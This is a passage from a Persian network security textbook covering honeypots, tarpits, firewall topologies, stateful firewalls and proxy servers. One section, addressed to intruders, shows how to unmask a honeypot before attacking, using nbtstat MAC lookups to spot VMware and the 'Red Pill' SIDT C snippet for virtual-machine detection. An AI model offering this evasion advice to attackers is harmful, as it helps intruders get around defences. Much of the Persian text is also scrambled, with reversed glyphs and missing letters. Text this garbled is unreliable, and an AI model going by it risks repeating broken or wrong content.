  . باشدینش مکم واک ی هاHoneypotن نوع ي از همیکی Deception Toolkit. ترساننده ب
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  . استیابیا ردیشف کق ینند از طرک ی مکمک ها به محافظت سازمانها Honeypotه ک یراه دوم
  

ادگ  ک  ها و از     ی ناتوان ییفه اش شناسا  يه وظ ک باشد   ی م ی بحران یليشف خ کعمل   ا  یار افت صرف نظر از   .  باشد  یم  یريشگي  بخش پ   ی ه
ا م  ک  از شیه باعث بعضک افتد ی آنها میه هاک شبی برا ی باشد معمولا اتفاق   ی سازمان به چه صورت م     یکت  يه امن کنیا ردد یست ه .  گ

ام م   یک شف ک یه اشخاص براک یی هایريلات و درگکصرف نظر از مش    ه انج د؛ وقت  ی حمل ا  یک  ی دهن ه شناس وان  ی شود م  یی حمل  ت
 ی میلکار مشکار ي حمله بسیکشف کمتاسفانه . ردکمتر کا حداقل اثر آن را   یرد و   ک آن را متوقف      نش نشان داد و   ک وا ع به آن  ی سر یليخ

ند  ی بدون اثر م   یاز جهات ) log(عی ثبت وقا  یلهای ها و فا   IDS مانند   یی ها ینولوژکت. باشد ا    .  باش ا داده ه د  ک ید م  ي  را تول  ی فراوان  یآنه نن
ه درد نخور م      يز ب ين داده ها ن   ی از ا  یاري طلبد و بس   ی را م  ی فراوان  آنها زمان  یه خواندن تمام  ک ند یهوده و ب ا در  يهمچن .  باش شف ک ن آنه

د کار ک IPV6ا  ی رمز شده و     یط ها ي توانند با مح   ی نم یحت.  باشند یز ناتوان م  يد ن یحملات جد  را  Honeypot. نن ا ب  یابی شف و ردک  ی ه
ا Honeypot  . دارند یر برت یمی قد یهاینولوژکن ت ی حمله نسبت به ا    یک ا قطع و   ک  ی داده ه د  ک ی م ی جمع آور یشتري ن بيق یم و ب ه ک ن

د ش    یدهاکا  ید و   ی تواند حملات جد   ی م یآنها حت . دارد یار فراوان يارزش بس  ه راحت     یلک چن د و م    کشف  ک  ی را ب د در مح  ینن ا ي توانن  یطه
  . ز استفاده شوندي نIPv6رمز شده و 

  
ه  ي  توانید م ي نکسب ک  Honeypotن دسته از ی به ا راجعیشتريه اطلاعات بکنی ایبرا  Honeypot:Simple,Cost Effectiveد مقال

Detection    به هر جهت    . دينک را مطالعهHoneypot را     ینش بهتر کم وا ک ی ها ند  یشف م  ک  ین راه حل ب دار    .  باش ا   یساخت و نگه  آنه
  . ت به آنها دارد نسبیمترک کسین ري باشد و همچنینش مک پر وای هاHoneypotآسان تر از 

  
  .است   )Response( نند پاسخک ی ما را محافظت می ها سازمانهاhoneypotه ک ین راهین و آخريسوم

  
د   ین موضوع م    يد پاسخ دهد؟ هم   یص داد حال چگونه با    يه خود تشخ  ک را در شب   یلک خطا و مش   یک سازمان   یکه  ک یهر زمان   یکی  توان

 ی م  یارک و چه    !  است  یسکه نفوذگر چه    کنی درباره ا  یمکمعمولا اطلاعات   .  باشد یواجه م  سازمان با آن م    یکه  ک باشد   ییاز چالش ها  
  .  استیاتي نفوذگر، مهم و حیت هاين اطلاعات درباره فعالیترکوچکت ين وضعیدر ا. ، وجود دارد!خواهد انجام دهد

  
  !!ل وجود دارک حمله دو تا مشیکمعمولا در پاسخ مناسب به 

  
د را نم           ک ییستم ها يشتر س يه ، ب  کنی ابتدا ا  -١ ه ان رار گرفت ورد هجوم ق را  یه م وان ب داخت  ک ل مناسب ، از  ي ه و تحلی  تجزیک  ی ت . ار ان
د سرور پست ال   یداتي تول یستم ها يس را يکی ترونک ، مانن س  یک  ی ب م و ح ي سازمان ب ند و حت  ی م یاتي ار مه شوند    ی باش ه ک  اگر متوجه ب

ا تجز يار بکستم ها را از ين سیستند اي شده است باز هم حاضر ن     کسرور آنها ه   ام شود و پاسخ     ی رویق يل دقي ه و تحلی اندازند ت ا انج  آنه
ا را بررس      یار م  ک ستم ها در حال      ين س یه ا ک ید در هنگام  یدر عوض با  .  به آن داده شود    یمناسب ند آنه  ین امر باعث م   يهم . ردک  ی باش
ستم يا نفوذگر به سیستم وارد شده است و آير به سکقدار خسارت توسط هه چه اتفاق افتاده است و چه مک برد ی پیه نتوان به درست  کشود  
  ؟! تواند وارد شودیا میگر وارد شده است؟ و ی دیها
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ت   یه نم کستم وجود دارد يم آنقدر داده در سیانداز یار بکز از يستم را ن ي اگر س  یه حت ک باشد   ینجا م یگر در ا  یل د ک مش -٢ ه درس وان ب  ی ت
ا کن ي چن  ی ها برا  Honeypotدر عوض   . تعلق به نفوذگر است    م يکدامکه  کمتوجه شد    س ییاره ال ي ب ند، ز ی م یار ع ا را  ک را ی  باش ه آنه

.  وارد شود ی سازمان صدمه ا یارکه به روند    کنیرد بدون ا  ي آنها انجام گ   ی رو یاملکل  يه و تحل  یار انداخت تا تجز   ک از   ی توان به آسان   یم
ل ي ه و تحلی ه تجزک ل است  ي ن دلي و به هم نندک یره ميشانه را در خود ذخ    ی و بد اند   یقانونر  ي غ یت ها ي ها تنها فعال   Honeypotن  يهمچن
ه     ي  ذخHoneypotه در   ک  یهر داده ا   .  باشد  ی م  یستم واقع ي س یکار آسان تر از     ي شده بس  ک ه Honeypot یک وط ب ره شده است مرب
 درباره نوع یدي راحت به اطلاعات مف یليه خ ک دهد   یمان م  ساز یکان را به    کن ام ین موضوع ا  ي باشد و هم   ی فرد نفوذگر م   یت ها يفعال

را  کوا  پر Honeypot یلکبه صورت   .  را به آن دهد    یع و موثر  ی برده و پاسخ سر    یت نفوذگر پ  یحمله و هو   ر    ینش ب ه  ین گز ی پاسخ بهت ن
اد  یه اخلال ا ک ونه توانسته است   را داشته است و چگیارکه اخلال گر قصد چه کد دانست ی اخلال ابتدا با  یک پاسخ به    یبرا.  باشند یم ج
  .مینش دارکوا  پرHoneypotاز به ين مرحله نی ایپس برا. رده استک استفاده یین از چه ابزارهايند، همچنک
  
  
 
  

   :)ها honeypot نوع خاصی از (  tarpit معرفی 
  

اشتباه انداختن یا حداقل تلف کردن وقت ابزاریست برای به  Honeypot به طور خلاصه. ها آشنا هستيد Honeypot احتمالا با ایده
  .، که با روشها و ابزارهای مختلفی قابل انجام است...) ابزارهای اسکن و  وبه خصوص(نفوذگر 

  
این ایده به . شود نام برده میSticky Honeypotها هستند که گاهی از آنها به عنوان tarpitاما یکی از ایده های جالب در این زمينه، 

های استاندارد patch مطرح شد و گسترش پيدا کرد، به طوری که امروزه در مجموعه Code Redشی برای مقابله با کرم عنوان رو
 هم FreeBSD و Solarisار را برای ویندوز،  این ابزLaBreaفایروال لينوکس پياده سازی شده و قابل استفاده است، همچنين پروژه 

.  روی شبکه آلوده، مقدار زیادی از پهنای باند را اشغال ميکندhttp با اسکن کردن مداوم سرویس Code Redکرم . فراهم کرده است
 tarpitاست که و اما نحوه کار به این شکل .  برای محدود کردن سرعت و متوقف کردن این نحوه اسکن مطرح شدtarpitلذا ایده 

 ها، پاسخ بسته های IPبا یافتن این . مونيتور ميکند)  بی پاسخarpبا گوش دادن به بسته های (ه شبکه را بلا استفاد های IPمجموعه 
arp را با یک MAC Address کند و از این پس خود را به عنوان دارنده به نفوذگر ارسال می) که در شبکه موجود نيست( جعلیIP 

شود، در  انجام میTarpit و بقيه موارد توسط TCP ، برقراری اتصال ACKاز اینجا به بعد، ارسال بسته . کنده تحميل میتفادبلا اس
 آن، Flow Control و مکانيزم TCPبر اساس طبيعت پروتکل .  و چنين سرویسی در شبکه موجود نيستIPحالی که واقعا چنين 

شود، و البته در مورد کرم ها، معمولا امکان ادامه این  چند بار تکرار شده و اتلاف وقت میtarpitارسال بسته ها ميان نفوذگر و 
 ایجاد شده، اما هيچ داده ای در آن قابل ارسال نيست، و تقاضای بسته TCPبنا بر این اتصال . سناریو پياده سازی نشده و وجود ندارد

این مساله برای ابزارهای اسکن اتوماتيک و .  شودtimeoutید اتصال مربوطه شود، لذا با پذیرفته نمیtarpitشدن اتصال هم توسط 
    ) را دارندtarpitالبته بعضی از ابزارهای اسکن امکان شناخت . (کندهمينطور کرمها ایجاد مشکل می

  
ه جاي   آرpatch  راiptables و kernel باید ابتدا   tarpitدر فایروال لينوآس براي استفاده از امكان        : نکته  آردن  DROP ده و سپس ب

   . در قواعد فایروال استفاده آنيدTARPIT آافي است آه از آلمه ،بسته ها
  :برای اطلاعات بيشتر به موارد زیر مراجعه کنيد

  
http://cansecwest.com/core02/honeypots-0.2.ppt 
http://www.securityfocus.com/infocus/1723 
http://www.impsec.org/linux/security/scanner-tarpit.pdf 

  
  :توضيحی اضافه 

  
ی     TCP Window Sizeرو برقرار کرد،  tcp عمل ميکنه، وقتی اتصال tarpit ی که به عنوانماشين ن یعن ه، ای خودش رو صفر ميکن

م هست     (داره، پس هيچ داده ای   ) کرم یا اسکنر (از کلاینت  اینکه انتظار دریافت صفر بایت رو اک ه ه معمولا خطرن ه    (ک از کلاینت ب
ه  داره نقش tarpit نداره وکه در واقع اصلا وجود خارجی (سرور  شه  ) اون رو بازی ميکن ق طبيعت    . ارسال نمي ن عمل طب  tcp/ip ای

و . بشه timeout پذیرفته نميشه تا tarpit ميشه و تقاضای اتمام اتصال هم به عمد توسط چند بار تکرار  دقيقا اینجور کرمها هر آی پی ت
range ،انيزم    همين مساله مقدار خيلی زیادی پهنای باند مصرف! ابا سرعت خيلی زیاد و باره قربانی رو اسکن ميکنن ا مک ه، ام  ميکن
tarpit ل         در ضمن. کرم رو مشغول یه هدف غير واقعی ميکنه تفادش در مقاب ا اس د، ام ه وجود اوم ا ب ار کرمه  این ایده از روی نحوه ک

port scanner ه لينک دومی که دادم ميتونه بيشتر کمکتون کن. (ها مفيد تره....(. 
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   Honeypotکشف  
  
  

  !! آدرس MAC از هدف با توجه به Honypotتشخيص یک 
  
  

ا          Honypotتا به حال شده گير یک     ه ه ن تل م ای ع ه ه بعضی مواق اری است ، البت  بی افتيد ؟ چه گونه متوجه شدید یک تله است و سر ک
  !! است Honypotرویم سر اصل مطلب که تشخيص این خوب ب!! بهترین راه حمله به خود سيستم اصلی یا به عبارتی قربانی هستند 

  
م دستور                          د و ان ه نایی داری راه های بسياری وجود دارد اما سریع ترین راه و مطمئن ترین راه یک دستور است که همه شما ها با ان آش

nbtstat –a  خوب بعد از اجرای این دستور روی قربانی  به آدرس !  استMAC ده      آن نگاه ميکنيم ؛و با ه اطلاعات بدست آم توجه ب
  !!نتيجه گيری ميکنيم 

  
شود            ١٢ بيتی بوده و به صورت       ۴٨ یک شاخص    MACاین آدرس    ان مي انزده بي ای ش م سمت چپ معرف             .  رقم در مبن ين شش رق اول

انگر شماره سریال آن شرکت ميباشد                         ز بي م بعدی ني م اول شاخص            . شرکت سازنده رابط شبکه و شش رق ه شش رق ا   OUIمعمولا ب  ی
Organizationally Unique Identifier  چند شاخصه متداول .  گفته ميشودOUI عبارتند از :  

• Sun micro systems inc ( 08-00-20 ) 
• The linksys Group inc ( 00-06-20 ) 
• 3com corporation ( 00-50-DA ) 
• Vmware inc ( 00-50-56 ) 

 
ه ماهيت ان ماشين             آدرسی MACخوب حال با دانستن این اطلاعات و          که دستور بالا به شما ميدهد ميتوانيد با مقایسه با اطلاعات بالا ب

ی ،        !! پی ببرید    ام ان ول د اتم البته این راه ، راه حرفه ای نيست راه های بهتری وجود دارد و خيلی سریع تر و قبل از شروع حمله نه بع
ی            % ١٠٠ا جواب   الی حال ، همين کار شما راه می اندازد و البته این ر             شابه خيل ه روش های م سبت ب د و ن درست را به شما ارایه ميده

  !!!سریع هم است 
  

  :به مثال زیر توجه کنيد 
  

C:\>nbtstat -A 192.168.1.47 
       NetBIOS Remote Machine Name Table 
   Name               Type         Status 
--------------------------------------------- 
NT4SERVER      <00>  UNIQUE      Registered 
INet~Services  <1C>  GROUP       Registered 
IS~NT4SERVER...<00>  UNIQUE      Registered 
NT4SERVER      <20>  UNIQUE      Registered 
WORKGROUP      <00>  GROUP       Registered 
NT4SERVER      <03>  UNIQUE      Registered 
WORKGROUP      <1E>  GROUP       Registered 
WORKGROUP      <1D>  UNIQUE      Registered 
..__MSBROWSE__.<01>  GROUP       Registered 
ADMINISTRATOR  <03>  UNIQUE      Registered 
 
MAC Address = 00-50-56-40-4C-23 

  
ه ماشين مجازی        ی ب ا پ ن ماشين یک      Vmwareخوب در این مثال م ردیم ، پس ای ا       Honypot ب داختن م ر ان راه کردن و گي رای گم  ب

  .ميباشد 
  
  

   : Vmwareنوع 
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#include <stdio.h> 

int main () { 

unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3"; 

*((unsigned*)&rpill[3]) = (unsigned)m; 

((void(*)())&rpill)(); 

  

printf ("idt base: %#x\n", *((unsigned*)&m[2])); 

if (m[5]>0xd0) printf ("Inside Matrix!\n", m[5]); 

else printf ("Not in Matrix.\n"); 

return 0; 

} 

  برای اطلاعات بيشتر 
  

http://invisiblethings.org/papers/redpill.html 
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 !!  دیوار آتش ها : هفتمفصل  
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 ٤٦٤    صفحه

    هاتوپولوژی های فايروال
 

ا ياده سازی و پ يبرای پ  ا در  یکربندی ف ردد        ی روال ه تفاده می گ اوتی اس وژی های متف وژی انتخ  . ک شبکه از توپول ه و توپول ژگی  یابی ب
نه های متفاوتی وجود دارد که در ادامه به بررسی برخی از          ین رابطه گز  یدر ا .  شبکه و خواسته های موجود بستگی خواهد داشت           های

  .م پرداختينه خواهين زمینمونه های متداول در ا
  

   Dual-Homedيک فايروال 
  

ه      یدر ا  وژی ک ر      ین توپول اده ت داول    ين و در ع    یکی از س تفاده از  یترن حال مت ا ی ن روش اس ا ی روال است ،  یک ف ستق یک ف ما و از يروال م
ه ا         ی  و   ISDN ، خطوط     Dial-upک خط    یق  یطر ابلی ب ودم های ک ردد     یا م تفاده از     . نترنت متصل می گ وق امکان اس وژی ف در توپول

DMZ وجود نخواهد داشت  .  
  

  
  

  :  عبارت از  ن توپولوژییژگی های ایبرخی از و
  
ی و ا خن شبکه دا يف شده ب  ی نگ تعریلترين فيت بررسی بسته های اطلاعاتی ارسالی با توجه به قوان       يروال مسئول یفا رعکس   یل نترنت و ب

دی  يک پ ی دارای  . د  ی نترنت استفاده می نما    ی خود برای ارسال بسته های اطلاعاتی بر روی ا         IPروال از آدرس    یفا .را برعهده دارد   کربن
ود   يمی باش ) Valid(  معتبر   IPک آدرس   یدارای  " ساده بوده و در مواردی که صرفا       د ب ا    . م ، کارساز خواهن رای اتصال ف ه  یب روال ب

  . استفاده نمود   مودم های کابلی  وISDNک اتصال ی معمولی ، Dial-upک خط ینترنت می توان از یا
  

   DMZ به همراه قابليت استفاده از يک ناحيه Two-Leggedشبکه يک 
  

ی دارای و            یدر ا  دل قبل ه م سبت ب ه ا              ي ژگی های پ    ین توپولوژی که ن ر متصل شده ب ری است ، روت ه هاب و    یشرفته ت چ یيا سو ی نترنت ب
  .موجود در شبکه داخلی متصل می گردد 
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 ٤٦٥    صفحه

   :  ن توپولوژی عبارت ازیژگی های ایبرخی از و
  

ا ( نترنت را داشته باشند یم به ايابی مستقيست امکان دستیی که می با ین ها يماش د شد    يروال فیتوسط ف ر نخواهن ه هاب و   ) لت چ يیا سو ی ، ب
ه هاب و        ی روال دارای دو کارت شبکه است که      یفا .  متصل می گردند      خارجی ه هاب و      یچ خارجی و د    يیا سو  ی کی ب چ يیا سو ی گری ب

ا   يل در امر پ    يتسه. ( داخلی متصل می گردد    دی ف ا  ماش  )روال  یکربن ه می با  یين ه ا  ی ی ک ه هاب و     یست توسط ف د ب ا  روال حفاظت گردن ی
د         يیسو زا      . چ داخلی متصل می گردن ه منظور اف ارآ  یب وان   ي ی و امنیش ک ود     چ دريی از سو  ت شبکه ، می ت تفاده نم ل هاب اس در  .  مقاب

ت  ي ست قابل ی کی که می با    يا پست الکترون  یر وب و    يس دهندگانی نظ  یتوپولوژی فوق امکان استفاده از سرو      انی و عمومی     يت دس   ابی همگ
د  . فراهم می گردد     DMZه  يق ناح یبه آنان وجود داشته باشد از طر       ر وجود داشته ب   یریدر صورتی که امکان کنترل و م  ،  اشد ت روت

س   . ز به خدمت گرفت    ينگ بسته های اطلاعاتی را ن     یلتريت های ف  يگر از قابل  یمی توان مجموعه ای د     تفاده از پتان ا اس وق می    يب ل های ف
ا یگر متمایک سطح حفاظتی محدود د  یتوان   ا را ن یز از امکانات ارائه شده توسط ف ود   ي ز پي روال ه ه امکان    . اده سازی نم در صورتی ک

اربران ا    DMZه  يت روتر وجود نداشته باشد ، ناح      یریکنترل و مد   وم ک تفاده عم د داشت     ی بطور کامل در معرض اس رار خواه . نترنت ق
تفاده از ويدر چن ا اس واردی لازم است ب سین م ا و پتان ده توسط سيژگی ه ه ش ای ارائ ر يل ه ر روی ه ده ب ل نصب ش ک از یستم عام
  . ف نمود یک از آنان تعریتی را برای هر يب امنک سطح مناسی ، DMZه يوترهای موجود در ناحيکامپ

  
    IPن آدرس یک روتر خارجی و داشتن چندیوجود :  به دو عامل متفاوت بستگی خواهد داشت DMZه يکربندی مناسب ناحيپ
  

رل  یفراهم شده است و  ) Dial-upمودم  ( PPPک اتصال یق ینترنت از طریدر صورتی که امکان ارتباط با ا   ر وجود   ا امکان کنت  روت
وان    یدر ا. ن رابطه استفاده نمود یگر در ایکار د ک راه یست از   یم ، می با   ي می باش  IPک آدرس   یا صرفا دارای    یندارد و    ن رابطه می ت

  : استفاده نمود  ط موجودیاز دو راه حل متفاوت با توجه به شرا
  

ه از طر    راه . گر در شبکه است   یروال دیک فایکربندی يجاد و پیراه حل اول ، ا   واردی ک وق در م ه شبکه متصل می     PPPق ی حل ف  ب
ه می نما  يفای وظیروال خارجی ایک فاین ها به عنوان   يکی از ماش  یدر توپولوژی فوق ،     . د خواهد بود    يم ، مف  يباش ا ( د ی ف روال شماره  یف
اد اتصال     یت ا ين فوق مسئول  يماش) . ک  ی ت     PPPج رل دس ه ناح   ي و کنت د       DMZه  ي ابی ب ده خواه ر عه ا   را ب   روال شماره دو ، ی داشت و ف

  .دی حفاظت می نما زي ن روال شماره دویک از فایروال شماره یفا. ت حفاظت از شبکه داخلی را برعهده دارد يمسئول
  

  
  

  . م کرد يست که در ادامه به آن اشاره خواه اThree Legged  روالیک فایجاد یراه حل دوم، ا
  

   Three-Leggedفايروال 
  

ی دارای و         یدر ا  ری است ، از   ي ژگی های پ  ین توپولوژی که نسبت به مدل های قبل ارت شبکه د  ی شرفته ت ا   یک ک ر روی ف روال و یگر ب
ه روت          یکربندی فا يپ.  استفاده می گردد     DMZه  يبرای ناح  ود ک د ب ه ای خواه سته های اطلاعاتی ب       نگ   يروال بگون ه ي نترنت و ناح   ین ا يب

DMZ انجام خواهد شد  نترنت و شبکه داخلی ،یز و متفاوت از ای با روشی متما  .  
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 ٤٦٦    صفحه

  
  

  :ن توپولوژی عبارت از یژگی های ایبرخی از و
  

  .  وجود خواهد داشت DMZ هيک ناحیامکان داشتن 
  . معتبر استفاده نمود  ري غIP می توان از آدرس های DMZه يس دهندگان موجود در ناحیبرای سرو

  
ت  DMZه  ي ناح  ز می توانند به   يند ن ی استفاده می نما   PPPستای  یکاربرانی که از اتصالات ا     دگان   یابی داشته و از خدمات سرو        ي دس س دهن

  . ند ی استفاده نماهين ناحیمتفاوت موجود در ا
  
  .ک راه حل مقرون به صرفه برای سازمان ها و ادارات کوچک است ی
  

ت رای دس ه ناحيب ی باDMZه يابی ب ی م بکه داخل وانی و ش ه ق ردد و همین خاصی تعريست مجموع ازیين موضوع ، پيف گ  و  اده س
  . د یده تر می نمايجين توپولوژی را اندازه ای پیکربندی مناسب ايپ
  

ه ادر صو ر متصل ب رل روت ه امکان کنت رل ترافیرتی ک وان کنت ته باشد ، می ت تفاده از  DMZه يک ناحينترنت وجود نداش ا اس  را ب
  .  محدود شود DMZه يابی به ناحي دست در صورت امکان سعی گردد که .ک انجام داد یروال شماره یامکانات ارائه شده توسط فا
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 ٤٦٧    صفحه

Stateful روال چيست و چگونه کار می کند؟  فاي  
  

Stateful فایروال نوعی از فایروال است که بررسی و ردیابی وضعيت )State(  ارتباطات شبکه را در موقع فيلتر کردن بسته های
همچنين . د به پایين را انجام می ده۴فایروال بيشتر کنترل و تست بسته های اطلاعاتی از لایه    Stateful. اطلاعاتی انجام می دهد

اگر بسته اطلاعاتی مجوز عبور از فایروال را  . ارائه می دهد٧سيستم پيشرفته بازرسی را نيز جهت کنترل بسته های مورد نياز لایه 
  .اضافه می شود) State Table(دریافت نماید، اجازه عبور به این بسته داده شده و یک رکورد به جدول وضعيت

 گذر داده می شوند و فقط بسته هایی که لازم ٧ از این رکورد انتقال پيدا می کنند بدون چک کردن لایه از این به بعد ارتباط هایی که
 می باشند چک شود با این جدول کنترل خواهند شد تا TCP/UDPاست تا اطلاعات آنها که شامل آدرس مبداء و مقصد و پورت 

  خواهد داد چرا که فقط بسته های اطلاعاتی که مقدار دهی شده باشنداین روش کارآیی فایروال را افزایش . صحت آنها تایيد شود
  .ميبایست پردازش شوند

 گيرند   را در یک ارتباط در نظر نمی٧کنند، دستورات لایه  ها برای فيلتر کردن از اصول مشابه استفاده می چون این فایروال
 نقطه ضعفی است ٧توانی فایروال ها، در کنترل کردن ارتباطات لایه نا.  فایروال ها این کار را انجام می دهندپراکسیدرصورتی که 

 ها که محدوده کمتری پراکسیدر مقایسه با ( ها دارند در صورتيکه مزیت آنها کنترل دامنه وسيعی از پروتکل هاپراکسیکه در برابر 
  .انند بهترین انتخاب برای محافظت از شبکه باشندتو باشد و می و سرعت بالای آنها می) کنند  را پشتيبانی می٧از پروتکل های لایه 

در این نقطه کاهش . از خصوصيات نقطه کنترلی یکی بودن و قابل کنترل بودن آن است. باشد فایروال به منزله نقطه کنترلی شبکه می
به نفر از آن عبور کنند و بایست نفر  ترافيک ورودی و خروجی را خواهيم داشت، درست مانند دستگاه فلزیاب فرودگاه که افراد می

کند، به این ترتيب که  فایروال نقش دستگاه فلزیاب را روی شبکه ایفا می. همين امر باعث کندی در مراحل انتقال مسافران خواهد بود
و تمامی ترافيک خروجی و ورودی به شبکه می بایست توسط آن بازرسی شود و مزیت دیگر علاوه بر کنترل، ثبت ورود و خروج ها 

  . دریافت گزارش می باشد

  
در مثال فوق اگر شخص خرابکار از .  یا دفاع در عمق را به خوبی می توان دریافتDefense-in-Depthدر این قسمت مفهوم 

 می باشد و تا رسيدن به هواپيما قرار دارد،  بازرسی اول فرودگاه با موفقيت عبور کند در بازرسی های بعدی که به منزله فایروال
  .وقف خواهد شدمت

بحث دفاع در عمق در مقاله های بعدی بيشتر .(دفاع در عمق یعنی دفاع لایه به لایه و قرار دادن عنصر مهم اطلاعاتی در مرکز لایه 
  .)توضيح داده خواهد شد
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 ٤٦٨    صفحه

  
 Stateful  جدول ایجاد شده و فایروال دارای یک جدول وضعيت است بطوری که با اولين ارتباط که از داخل فایروال می گذرد این 

 Flagرکوردی در این جدول ثبت می شود که حاوی اطلاعات زیادی از جمله آدرس مبدا و مقصد، پورت استفاده شده، 
  این اطلاعات می بایست تا حدی دقيق و مشخص آورده شود که از ایجاد ترافيک توسط هکرها که. می باشد... ها وSequenceها،

 فایروال ها، فایروال های مبتنی بر Statefulنمونه ای از .  ميسر می سازد، جلوگيری نمایدمجوز ورود آنها را به شبکه
Netfilter/IPtabelsمی باشند .  
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 ٤٦٩    صفحه

Proxy Server   چيست ؟   
    

ع می شود                      اربران واق ين اینترنت و ک اد     . نرم افزاری است که در یک شبکه حد واسط ب سفه ایج راردادن یک خط       Proxy Serverفل  ق
ات و قابليت       دها امکان ی بع وده است ول ه    اینترنت در اختيار تعداد بيش از یک نفر استفاده کننده در یک شبکه ب ایی ب  Proxy Serverه

ی ا   Proxy Serverبطور کلی . افزوده شد که کاربرد آن را فراتر از به اشتراک نهادن خطوط اینترنت کرد  ورد کل د م تفاده   ها در چن س
  . می شوند 

  
رل             Proxy Serverیک کاربرد  ه و کنت اهش هزین ه باعث ک اربر است ک د ک رای چن  ها ، همان به اشتراک گذاشتن یک خط اینترنت ب

.  می باشد      Firewallها ، در سایتهای اینترنتی به عنوان        Proxy Serverکاربرد دوم   . کاربران و همچنين ایجاد امنيت بيشتر می شود         
  .  اطلاعات است Cachingسوم که امروزه از آن بسيار استفاده می شود ، کاربرد 

  
وان                        با توجه به گران بودن هزینه استفاده از اینترنت و محدود بودن پهنای باند ارتباطی برای ارسال و دریافت اطلاعات ، معمولا نمی ت

ن مشکل در          Cachingامکان  . به اطلاعات مورد نظر در زمان کم و با سرعت مطلوب دست یافت               ع ای ه رف رای کمک ب  اطلاعات ، ب
  .نظر گرفته شده است 

  
 Proxy Serverه     .  ، سایتهایی را که بيشتر به آنها مراجعه می شود را دریک حافظه جداگانه نگاه می دارد رای مراجع ن ترتيب ب به ای

  . خصوص رجوع خواهد شد مجدد به آنها نيازی به ارتباط از طریق اینترنت نيست بلکه به همان حافظه م
  

این امر باعث می گردد از یک طرف زمان دسترسی به اطلاعات کمتر شده و از سوی دیگر چون اطلاعات از اینترنت دریافت نمی                        
 محدود به یک یا     Website تغييرات در یک     بخصوص آنکه معمولا  . شود ، پهنای باند محدود موجود با اطلاعات تکراری اشغال نشود            

تفاده از     Caching می باشد و گرفتن اطلاعات از اینترنت بدون دو صفحه ا اس  Proxy به معنای گرفتن کل سایت می باشد حال آنکه ب
Server و امکان Caching ای  .  اطلاعات ، ميتوان تنها صفحات تغيير کرده را دریافت کرد ا  :  ویژگی اول  Proxy Serverویژگيه ب

از اکثر پروتکلهای موجود در شبکه های محلی در محدوده نرم افزارهای کاربردی در شبکه های   می توان Proxy Serverاستفاده از 
LAN مرتبط با اینترنت استفاده کرد  .Proxy Server        د ی مانن اربرد شبکه های محل ر ک ای پ تفاده در    (IPX/SPX پروتکله ورد اس م

ا ت   LANمورد استفاده در شبکه های       (NETBEUI،  ) شبکه های ناول   م     ب اربران ک داد ک تفاده در شبکه های      (TCP/IPو ) ع ورد اس م
Intranet (را پشتيبانی می کند .  

  
ا پروتکل       که مثلا  LANبا این ترتيب برای اینکه بتوان از یک نرم افزار کاربردی شبکه              اول نوشته شده ، روی    IPX/SPX ب  روی ن

اط   ه ارتب وط ب سمتهای مرب ه ق ست ک ازی ني رد ني تفاده ک ت اس ه از اینترن بکه ک ا ش ای Function Call ب ه API ه رده را ب تفاده ک  اس
Function Call های TCP/IP تغيير داد بلکه Proxy Server       زاری رم اف ه راحتی از ن وان ب  خود این تغييرات را انجام داده و می ت

رد   به اینت  با ناول کار می کرده است را در شبکه ای که مستقيما     LANکه تا کنون تحت یک شبکه        ين  . رنت متصل است ، استفاده ک هم
د   ا    . وجود دارد  . . .  و FTP , Telnet , Gopher , IRC RealAudio , Pop3, ویژگی درباره سرویسهای اینترنت مانن ن معن ه ای ب

شته نمی شود  که هنگام پياده سازی برنامه با یک سرویس یا پروتکل خاص ، محدودیتی نبوده و کدی در برنامه برای ایجاد هماهنگی نو       
 .  
  

ر                 Cacheبا  : ویژگی دوم    ان ت سهای اینترنت نمای ا ، قابليت سروی  کردن اطلاعاتی که بيشتر استفاده می شوند و با بروز نگاه داشتن آنه
  . شده و مقدار قابل توجهی در پهنای باند ارتباطی صرفه جویی می گردد

  
د        معمولا. امنيت در شبکه دارد  امکانات ویژه ای برای ایجاد Proxy Server: ویژگی سوم  ا دو دسته امنيت اطلاعاتی م  در شبکه ه

ه اطلاعات           . نظر است    د از روی اینترنت ب یکی آنکه همه کاربران شبکه نتوانند از همه سایتها استفاده کنند و دیگر آنکه هر کسی نتوان
ه هر   Proxy Serverبا استفاده از. شبکه دسترسی پيدا کند  ه اینترنت وصل شود در ضمن از        Client نيازی نيست ک ستقيم ب  بطور م

امکان رمز ) SSL (Secure Sockets Layersهمچنين می توان با استفاده از . دسترسی غيرمجاز به شبکه داخلی جلوگيری می شود 
  . کردن داده ها را نيز فراهم آورد

ارم    س        Proxy Server: ویژگی چه ا سي د ب ه می توان زاری ک رم اف وان ن ا        بعن ين ب  IIS (Internetتم عامل شما مجتمع شود و همچن
Information Server (ردد تفاده می گ د، اس ازگار می باش دمات . س ار Proxy Server Proxy Serverخ ه سرویس در اختي  س
  :کاربران خود قرار می دهد

  
 ١-Web Proxy   Service :   رای اد    Web Publishingاین سرویس ب ان ایج ا هم د  LANشبکه   های مختلف در   Web Site ی  مفي

بيه سازی محيط    Reverse Proxing.  در نظر گرفته شده است Reverse Proxingبرای این منظور قابليت مهم . می باشد   امکان ش
ه در                 . اینترنت درمحيط داخل می باشد     ان ک  محيط  به این ترتيب فرد بدون ایجاد ارتباط فيزیکی با اینترنت می تواند برنامه خود را همچن
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د                را ده تفاده ق ورد اس رده و م رم افزارهای                      . اینترنت عمل خواهد کرد، تست ک د ن ه تولي اهش هزین ردن سرعت و ک الا ب ن قابليت در ب ای
  .کاربردی تحت اینترنت موثر است

  
 ٢-Winsock Proxy Service   :     تفاده از  ، Windowsدر .  است  Windows در Winsockهای  API Callمنظور، امکان اس

Function Call د سهای اینترنت مانن تفاده در سروی ورد اس ای م وان . . .  و Telnet  ،FTP  ،Gopher ه  Winsock، تحت عن
Protocolsد ده ان ی ش ن سرویس.  معرف تفاده از ای رای اس ویس  در حقيقت ب ه ن ه برنام ست ک ازی ني اربردی ني ای ک رم افزاره ا در ن ه

  .يش بينی کندها را پ چگونگی استفاده از این سرویس
  
 ٣-Socks Proxy   Service :  این سرویس، سرویسSocks 4.3a   ر مجموعه ای از  Winsock را پشتيبانی می کند که در واقع زی

 Firewall خارج از  Websiteبه این ترتيب می توان در طراحی .  و بالاتر را فراهم می کندHttp 1.02می باشد و امکان استفاده از 
 ،Securityمعيارهای موثر در انتخاب. اد کرد ایج  
 Proxy Server برای هر چه بهتر شدن توانمندیهای :  سخت افزار مورد نياز -١Proxy Server باید سخت افزار آن توانایی تحمل ، 

  . بار مورد انتظار را داشته باشد 
  
